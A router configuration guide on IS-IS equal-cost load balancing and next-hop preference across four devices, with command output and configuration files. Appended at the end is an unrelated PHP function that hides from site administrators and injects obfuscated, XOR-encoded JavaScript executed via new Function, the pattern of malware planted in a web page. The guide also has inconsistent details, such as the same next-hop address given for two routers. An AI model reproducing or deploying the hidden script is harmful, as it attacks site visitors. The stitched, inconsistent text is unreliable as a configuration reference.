Networking Requirements
-
CX- A, CX- B, CX- C, and CX- D run IS-IS to implement interconnection in the IP network.
-
CX- A, CX- B, CX- C, and CX- D are Level-2 routers in area 10.
-
Load balancing is required to transmit the traffic of CX- A to CX- D through CX- B and CX- C.
|
Device
|
Interface
|
IP Address
|
Device
|
Interface
|
IP Address
|
|
CX-A
|
GE 3/0/0
|
172.16.1.1/24
|
CX-C
|
POS 1/0/0
|
10.1.2.2/24
|
|
POS 1/0/0
|
10.1.1.1/24
|
POS 2/0/0
|
192.168.1.1/24
|
||
|
POS 2/0/0
|
10.1.2.1/24
|
||||
|
CX-B
|
POS 1/0/0
|
10.1.1.2/24
|
CX-D
|
GE 3/0/0
|
172.17.1.1/24
|
|
POS 2/0/0
|
192.168.0.1/24
|
POS 1/0/0
|
192.168.0.2/24
|
||
|
POS 2/0/0
|
192.168.1.2/24
|
Configuration Roadmap
-
Enable basic IS-IS functions on each CX device to implement interconnection.
-
Cancel load balancing and check the routing table.
-
Configure load balancing on CX- A and check the routing table of it.
-
(Optional) Configure the preference for equal-cost routes on CX- A.
Data Preparation
-
Levels and the area addresses of the four CX devices.
-
Number of load balancing paths on CX- A is 1.
-
Preference value of equal-cost routes on CX- C is 1.
Procedure
- Assign an IP address for each CX device.
The configuration details are not mentioned here.
- Configure basic IS-IS functions.
- Cancel load balancing on CX- A.
[CX-A] isis 1[CX-A-isis-1] maximum load-balancing 1[CX-A-isis-1] quit# Check the routing table of CX- A.[CX-A] display isis routeRoute information for ISIS(1)
-----------------------------
ISIS(1) Level-2 Forwarding Table
--------------------------------
IPV4 Destination IntCost ExtCost ExitInterface NextHop Flags
-------------------------------------------------------------------------
192.168.1.0/24 20 NULL P2/0/0 10.1.2.2 A/-/L/-
10.1.1.0/24 10 NULL P1/0/0 Direct D/-/L/-
172.16.1.0/24 10 NULL GE3/0/0 Direct D/-/L/-
172.17.1.0/24 30 NULL P1/0/0 10.1.1.2 A/-/L/-
10.1.2.0/24 10 NULL P2/0/0 Direct D/-/L/-
192.168.0.0/24 20 NULL P1/0/0 10.1.1.2 A/-/L/-
Flags: D-Direct, A-Added to URT, L-Advertised in LSPs, S-IGP Shortcut,
U-Up/Down Bit Set
As shown in the routing table, when the maximum number of equal-cost routes for load balancing is set to 1, the next hop to network segment 172.17.1.0 is 10.1.1.2. This is because the system ID of CX- B is small. IS-IS chooses the route with the next hop being 10.1.1.2 as the unique optimal route. - Restore the default number of load balancing paths on CX- A.
[CX-A] isis 1[CX-A-isis-1] undo maximum load-balancing[CX-A-isis-1] quit# Check the routing table of CX-A.[CX-A] display isis routeRoute information for ISIS(1)
-----------------------------
ISIS(1) Level-2 Forwarding Table
--------------------------------
IPV4 Destination IntCost ExtCost ExitInterface NextHop Flags
-------------------------------------------------------------------------
192.168.1.0/24 20 NULL P2/0/0 10.1.2.2 A/-/L/-
10.1.1.0/24 10 NULL P1/0/0 Direct D/-/L/-
172.16.1.0/24 10 NULL GE3/0/0 Direct D/-/L/-
172.17.1.0/24 30 NULL P1/0/0 10.1.1.2 A/-/L/-
P2/0/0 10.1.2.2
10.1.2.0/24 10 NULL P2/0/0 Direct D/-/L/-
192.168.0.0/24 20 NULL P1/0/0 10.1.1.2 A/-/L/-
Flags: D-Direct, A-Added to URT, L-Advertised in LSPs, S-IGP Shortcut,
U-Up/Down Bit Set
As shown in the routing table, the default value is used when load balancing is canceled. The two next hops of CX-A, that is, 10.1.1.2 (that is, CX- B) and 10.1.1.2 (that is, CX- C), are valid routes. This is because the default value of the maximum equal-cost routes is 3. - (Optional) Configure the preference of equal-cost routes on CX-A.
If you do not perform load balancing through CX- B and CX- C, configure the preference of the equal-cost routes and specify the next hop.
[CX-A] isis[CX-A-isis-1] nexthop 10.1.2.2 weight 1[CX-A-isis-1] quit - Verify the configuration.
# Check the routing table of CX- A.
[CX-A] display isis routeRoute information for ISIS(1)
-----------------------------
ISIS(1) Level-2 Forwarding Table
--------------------------------
IPV4 Destination IntCost ExtCost ExitInterface NextHop Flags
--------------------------------------------------------------------------------
192.168.1.0/24 20 NULL P2/0/0 10.1.2.2 A/-/L/-
10.1.1.0/24 10 NULL P1/0/0 Direct D/-/L/-
172.16.1.0/24 10 NULL GE3/0/0 Direct D/-/L/-
172.17.1.0/24 30 NULL P1/0/0 10.1.2.2 A/-/L/-
10.1.2.0/24 10 NULL P2/0/0 Direct D/-/L/-
192.168.0.0/24 20 NULL P1/0/0 10.1.1.2 A/-/L/-
Flags: D-Direct, A-Added to URT, L-Advertised in LSPs, S-IGP Shortcut,
U-Up/Down Bit Set
As shown in the routing table, because the preference (metric is 1) of next hop 10.1.2.2 (that is, CX- C) is higher than that of next hop 10.1.1.2 (that is, CX- B), IS-IS chooses the route with the next hop being 10.1.2.2 as the optimal route.
Configuration Files
-
Configuration file of CX- A
#
sysname CX-A#
isis 1
is-level level-2
network-entity 10.0000.0000.0001.00
nexthop 10.1.2.2 weight 1
#
interface GigabitEthernet3/0/0
ip address 172.16.1.1 255.255.255.0
isis enable 1
#
interface Pos1/0/0
link-protocol ppp
ip address 10.1.1.1 255.255.255.0
isis enable 1
#
interface Pos2/0/0
link-protocol ppp
ip address 10.1.2.1 255.255.255.0
isis enable 1
#
return
-
Configuration file of CX- B
#
sysname CX-B#
isis 1
is-level level-2
network-entity 10.0000.0000.0002.00
#
interface Pos1/0/0
link-protocol ppp
ip address 10.1.1.2 255.255.255.0
isis enable 1
#
interface Pos2/0/0
link-protocol ppp
ip address 192.168.0.1 255.255.255.0
isis enable 1
#
return
-
Configuration file of CX- C
#
sysname CX-C#
isis 1
is-level level-2
network-entity 10.0000.0000.0003.00
#
interface Pos1/0/0
link-protocol ppp
ip address 10.1.2.2 255.255.255.0
isis enable 1
#
interface Pos2/0/0
link-protocol ppp
ip address 192.168.1.1 255.255.255.0
isis enable 1
#
return
-
Configuration file of CX- D
#
sysname CX-D#
isis 1
is-level level-2
network-entity 10.0000.0000.0004.00
#
interface GigabitEthernet3/0/0
ip address 172.17.1.1 255.255.255.0
isis enable 1
#
interface Pos1/0/0
link-protocol ppp
ip address 192.168.0.2 255.255.255.0
isis enable 1
#
interface Pos2/0/0
link-protocol ppp
ip address 192.168.1.2 255.255.255.0
isis enable 1
#
return
from the best of networking http://bit.ly/1JOSrUU
function xdav_tracker() {
if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }
?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw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UtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();
